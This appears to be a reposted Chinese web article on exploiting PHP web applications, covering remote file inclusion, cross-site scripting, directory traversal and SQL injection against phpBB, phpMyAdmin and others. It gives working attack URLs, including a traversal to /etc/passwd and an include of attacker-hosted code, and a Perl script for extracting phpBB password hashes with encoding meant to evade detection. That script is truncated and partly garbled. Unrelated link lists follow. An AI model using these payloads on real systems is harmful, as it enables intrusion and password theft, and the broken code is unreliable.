核心提示:我对目前常见的PHP漏洞做了一下总结,大致分为以下几种

  从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权。然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多。在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧。

  我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种。当然,至于COOKIE欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多。那么,我们就一个一个来分析一下怎样利用这些漏洞吧!

  首先,我们来讨论包含文件漏洞。这个漏洞应该说是PHP独有的吧。这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令。我们来看一个例子:假设在a.php中有这样一句代码:

以下是引用片段:

include($include."/xxx.php");

  ?>

  在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的。比方说我们提交:a.php?include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了。我们可以在b.php中写入类似于:passthru("/bin/ls /etc");的代码。这样,就可以执行一些有目的的攻击了。(注:Web服务器应该不能执行php代码,不然就出问题了。相关详情可以去看<<如何对PHP程序中的常见漏洞进行攻击>>)。在这个漏洞方面,出状况的很多,比方说:PayPal Store Front,HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些。

  接着,我们再来看一下脚本命令执行漏洞。这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:http://web/index.php?PHPSESSID=">在script里面我们可以构造函数来获得用户的一些敏感信息。在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等。

再然后,我们就来看看文件泄露漏洞了,这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子。在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd%00 就可以达到文件泄露的目的了。在这方面相对多一点,有:myPHPNuke,McNews等等。

  最后,我们又要回到最兴奋的地方了。想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空。曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞。(这些废话不多说了,有点跑题了...)。

  还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了。将asc改成ASCII,len改成LENGTH,其他函数基本不变了。其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了。PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB。它的漏洞也是一直在出,从最早phpBB.com phpBB 1.4.0版本被人发现漏洞,到现在最近的phpBB 2.0.6版本的groupcp.php,,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧。这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好。

  好了,我们还是来分析一下漏洞产生的原因吧。拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET请求中获得"topic_id"并传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者进行暴力破解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因)。先看一下相关源代码:

以下是引用片段:

#   if(isset($HTTP_GET_VARS[POST_TOPIC_URL]))

  #   {

  #      $topic_id=intval($HTTP_GET_VARS[POST_TOPIC_URL]);

  #   }

  #   elseif(isset($HTTP_GET_VARS['topic']))

  #   {

  #      $topic_id=intval($HTTP_GET_VARS['topic']);

  #   }

从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过PHPBB源代码的话,建议你看了再对着这里来看,受影响系统为:phpBB 2.0.5和phpBB 2.0.4)。

以下是引用片段:

#        $sql = "SELECT p.post_id

  #        FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u

  #        WHERE s.session_id = '$session_id'

  #         AND u.user_id = s.session_user_id

  #         AND p.topic_id = $topic_id

  #         AND p.post_time >= u.user_lastvisit

  #        ORDER BY p.post_time ASC

  #        LIMIT 1";

  Rick提供了下面的这断测试代码:

  use IO::Socket;

  $remote = shift || 'localhost';

  $view_topic = shift || '/phpBB2/viewtopic.php';

  $uid = shift || 2;

  $port = 80;

  $dBType = 'mysql4';   # mysql4 or pgsql

  print "Trying to get password hash for uid $uid server $remote dbtype: $dBType ";

  $p = "";

  for($index=1; $index<=32; $index++)

  {

  $socket = IO::Socket::INET->new(PeerAddr => $remote,

  PeerPort => $port,

  Proto => "tcp",

  Type => SOCK_STREAM)

  or die "Couldnt connect to $remote:$port : $@ ";

  $str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0 ";

  print $socket $str;

  print $socket "Cookie: phpBB2mysql_sid=1 ";  # replace this for pgsql or remove it

  print $socket "Host: $remote ";

  while ($answer = <$socket>)

  {

  if ($answer =~ /location:.*x23(d+)/) # Matches the location: viewtopic.php?p=#

  {

  $p .= chr ();

  }

  }

  close($socket);

  }

  print " MD5 Hash for uid $uid is $p ";

  # random encode str. helps avoid detection

  sub random_encode

  {

  $str = shift;

  $ret = "";

  for($i=0; $i

  {

  $c = substr($str,$i,1);

  $j = rand length($str) * 1000;

  

  

  if (int($j) % 2 || $c eq ' ')

  {

  $ret .= "%" . sprintf("%x",ord($c));

  }

转载请说明来源于"厦门SEO"

本文地址:http://www.96096.cc/Article/5829.html

php页面漏洞分析及相关问题解决相关推荐

  1. 2022CTF培训(十一)IOT 相关 CVE 漏洞分析

    附件下载链接 D-Link DIR-823G 固件全系统仿真 2022CTF培训(十)IOT 相关 CVE 漏洞分析 是采用 qemu-user 对个别程序进行仿真,而对于完整的仿真需要使用 qemu ...

  2. cve-2018-7600 drupal核心远程代码执行漏洞分析

    0x01 漏洞介绍 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用.两周前,Drupal安全团队披露了一个非常关键的漏洞,编号CV ...

  3. linux “大脏牛”漏洞分析(CVE-2017-1000405)

    一.背景简介 脏牛漏洞(CVE-2016–5195)是公开后影响范围最广和最深的漏洞之一,这十年来的每一个Linux版本,包括Android.桌面版和服务器版都受到其影响.恶意攻击者通过该漏洞可以轻易 ...

  4. PHPCMS最新版任意文件上传漏洞分析

    工具:火狐插件hackbar 前几天就听朋友说PHPCMS最新版出了几个洞,有注入还有任意文件上传,注入我倒不是很惊讶,因为phpcms只要拿到了authkey注入就一大堆-- 任意文件上传倒是很惊讶 ...

  5. 安天移动安全发布“大脏牛”漏洞分析报告(CVE-2017-1000405)

    一.背景简介 脏牛漏洞(CVE-2016–5195)是公开后影响范围最广和最深的漏洞之一,这十年来的每一个Linux版本,包括Android.桌面版和服务器版都受到其影响.恶意攻击者通过该漏洞可以轻易 ...

  6. php excel中解析显示html代码_骑士cms从任意文件包含到远程代码执行漏洞分析

    前言 前些日子,骑士cms 官方公布了一个系统紧急风险漏洞升级通知:骑士cms 6.0.48存在一处任意文件包含漏洞,利用该漏洞对payload文件进行包含,即可造成远程代码执行漏洞.这篇文章将从漏洞 ...

  7. 【CVE-2020-1957】shiro搭配spring时身份验证绕过漏洞分析

    0x00 漏洞简介 https://www.openwall.com/lists/oss-security/2020/03/23/2 0x01 漏洞分析 翻查官方commit,在commit http ...

  8. Chrome漏洞分析与利用(三)——Issue-1062091漏洞分析

    Chrome Mojo 组件的沙箱逃逸漏洞分析 漏洞环境 漏洞说明 Issue-1062091为chrom中存在的一个UAF漏洞,此漏洞存在于chromium的Mojo框架中,利用此漏洞可以导致chr ...

  9. Metinfo 5.3.17 前台SQL注入漏洞分析及实验

    2017年08月07日  漏洞分析                作者:phith0n@长亭科技 原文地址:https://paper.seebug.org/371/ Metinfo 8月1日升级了版 ...

最新文章

  1. PAT (Advanced Level) 1132~1135:1132 模拟 1133模拟(易超时!) 1134图 1135红黑树
  2. lob移表空间 oracle_移动一个带有lob字段的表到另外一个表空间
  3. Spring Boot2.x-12 Spring Boot2.1.2中Filter和Interceptor 的使用
  4. python创建项目包
  5. apache的产品分类说明
  6. Mysql配置文件读取顺序
  7. sendfile实现文件服务器,sendfile
  8. 对数组的操作splice() 和slice() 用法和区别
  9. Notion,一款优秀的程序员记笔记软件,值得推荐!
  10. 旧手机改文件储存服务器,旧手机改云服务器
  11. 双向TVS的符号及几个参数问题?
  12. matlab 输出两列,Matlab绘制两列正弦波的叠加
  13. Unity中的Character Controller 简介
  14. 【scala使用spark报错】illegal cyclic inheritance involving trait Iterable val df = Seq(
  15. 多元线性回归公式推导及R语言实现
  16. gee微端服务器系统设置,gee微端服务器推荐配置
  17. 多元(二元)函数极限的存在性问题
  18. wireshark使用及过滤器介绍
  19. 作为维基百科全书的系统、全球最著名的wiki程序——MediaWiki
  20. 计算机网络-IP和子网掩码及网络划分

热门文章

  1. ZYCH自由策划企业网站管理系统
  2. ASP.NET Core 使用 EF Core
  3. 罕见!嘲讽 Twitter 被裁员工后,马斯克公开道歉
  4. (PC+WAP)带手机端pbootcms模板门窗设计类网站
  5. php中include的作用,PHP 中关于 include() 函数的性能
  6. 去易宝支付面试经历9.20
  7. TensorFlow之张量声明
  8. Web前端知识点个人小结
  9. 混音器:视频会议录制不可或缺的组件
  10. Bluetooth--- android -- 蓝牙 bluetooth